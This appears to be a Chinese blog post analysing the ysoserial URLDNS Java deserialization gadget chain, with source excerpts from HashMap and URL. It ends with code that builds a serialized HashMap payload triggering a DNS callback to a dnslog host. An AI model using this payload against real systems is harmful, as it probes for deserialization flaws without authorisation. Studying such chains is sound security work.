在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。其中几个重要的概念:

需要让某个对象支持序列化机制,就必须让其类是可序列化,为了让某类可序列化的,该类就必须实现如下两个接口之一:
Serializable:标记接口,没有方法
Externalizable:该接口有方法需要实现,一般不用这种
 
序列化对象时,默认将里面所有属性都进行序列化,但除了static或transient修饰的成员。
序列化具备可继承性,也就是如果某类已经实现了序列化,则它的所有子类也已经默认实现了序列化。
 
序列化和反序列化的类:
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
 
序列化方法:
.writeObject()
反序列化方法:
.readObject()
 
既然反序列化方法.readObject(),所以通常会在类中重写该方法,为实现反序列化的时候自动执行。
 
做个简单测试:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
} public void run(){
System.out.println("urldns run");
} private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}

对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。

import java.io.*;

public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
} public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}

所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。

利用链的思路大致如此,那么分析URLDNS的利用链。

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht;
}

该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。

因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。

还存在重写readobject方法,那么分析readobject中的内容。方法中遍历key值执行putVal方法。

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab; // Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

触发:

putVal(hash(key), key, value, false, false);

触发:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的key对象如果是URL对象,那么就

触发:URL类中的hashCode方法

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

触发DNS请求:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress; String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。

所以为了实现readobject方法的DNS请求,接下来要做的是:

1、制造一个HashMap对象,且key值为URL对象;

2、保持私有属性hashcode为-1;

所以构造DNS请求的HashMap对象内容应该是:

public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}

至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);

这个过程将触发一次DNS请求。

ysoserial URLDNS利用链分析的更多相关文章

  1. Commons-Beanutils利用链分析

    前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...

  2. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  5. ysoserial-URLDNS学习

    简述 ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是 ...

  6. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. javasec(五)URLDNS反序列化分析

    这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...

  9. ysoserial-调试分析总结篇(1)

    前言: ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是 ...

  10. Commons-Collections反序列化

    Java反序列化漏洞 Commons Collections Apache Commons 是 Apache 软件基金会的项目.Commons Collections 包为 Java 标准的 Coll ...

随机推荐

  1. [转帖]基于MySQL8.0存储过程实现myawr平台的top sql功能

    概述 众所周知,MySQL数据库中的performance_schema的事件统计表中的统计数据计算的是累计值,如果想要计算某段时间的TOP SQL是不行的,这里考虑用函数定期取值存进中间表定期将累计 ...

  2. 【转帖】ESXI上安装和使用MegaCli

    https://www.diewufeiyang.com/post/964.html 一.第一步获取安装文件,官网目前搜索也找不到了,这里附件提供之前保存的安装文件 点击下载 二.使用VMware v ...

  3. [转帖]VMWare ESXi中,不同的虚拟网卡性能竟然能相差三倍!

    https://zhuanlan.zhihu.com/p/525656364 正文共:1024 字 11 图,预估阅读时间:1 分钟 在上个实验中(VPP使用DPDK纳管主机网卡),我们已经初步实现了 ...

  4. vCenter6.7 无法启动

    Get service 567f6edd-d4f7-4bfb-905b-1834c758a99d_com.vmware.vsphere.clientDon't update service 567f6 ...

  5. acme.sh的简单学习过程

    acme.sh的简单学习过程 背景 公司内部测试环境为了节约费用(不要学我) 自己花十块到一百块之前从腾讯云购买一个域名 然后使用NDSPOD进行解析内网IP地址 偶尔需要申请临时证书进行HTTPS的 ...

  6. 数组查询includes

    let arr1 = ['kk', 'jo', 'll']; if (arr1.includes("kk")) {//[ɪnˈkluːz] console.log("找到 ...

  7. pymongo中针对指定集合更新validator规则

    问题描述: 针对mongo中已创建的集合,更新validator验证器规则 解决方法 在确保pymongo中所使用的用户对目标数据库具有dbAdmin之类的管理权限的前提下(若无权限,可在mongo中 ...

  8. 有道云笔记之备选方案Obsidian和Notion

    有道云笔记限制登录设备 在商业项目中一般都会有plana.planb,对于云笔记,我也在寻找planb,有道云笔记在国内市场已经占据了很大的份额. 同类型中的就不再去挑选了,我觉得商业软件,迟早也会走 ...

  9. 从零开始配置 vim(5)——本地设置与全局设置

    在前面的一系列文章中,我们介绍了使用 :noremap 进行键盘映射,使用 set 来设置选项和 vim 的变量.并且已经在配置文件中对他们进行了相关配置. 在介绍设置那一篇文章中我们提到了,lua ...

  10. SqlSugar的查询函数SqlFunc

    用法 我们可以使用SqlFunc这个类调用Sql函数,用法如下: db.Queryable<Student>().Where(it => SqlFunc.ToLower(it.Nam ...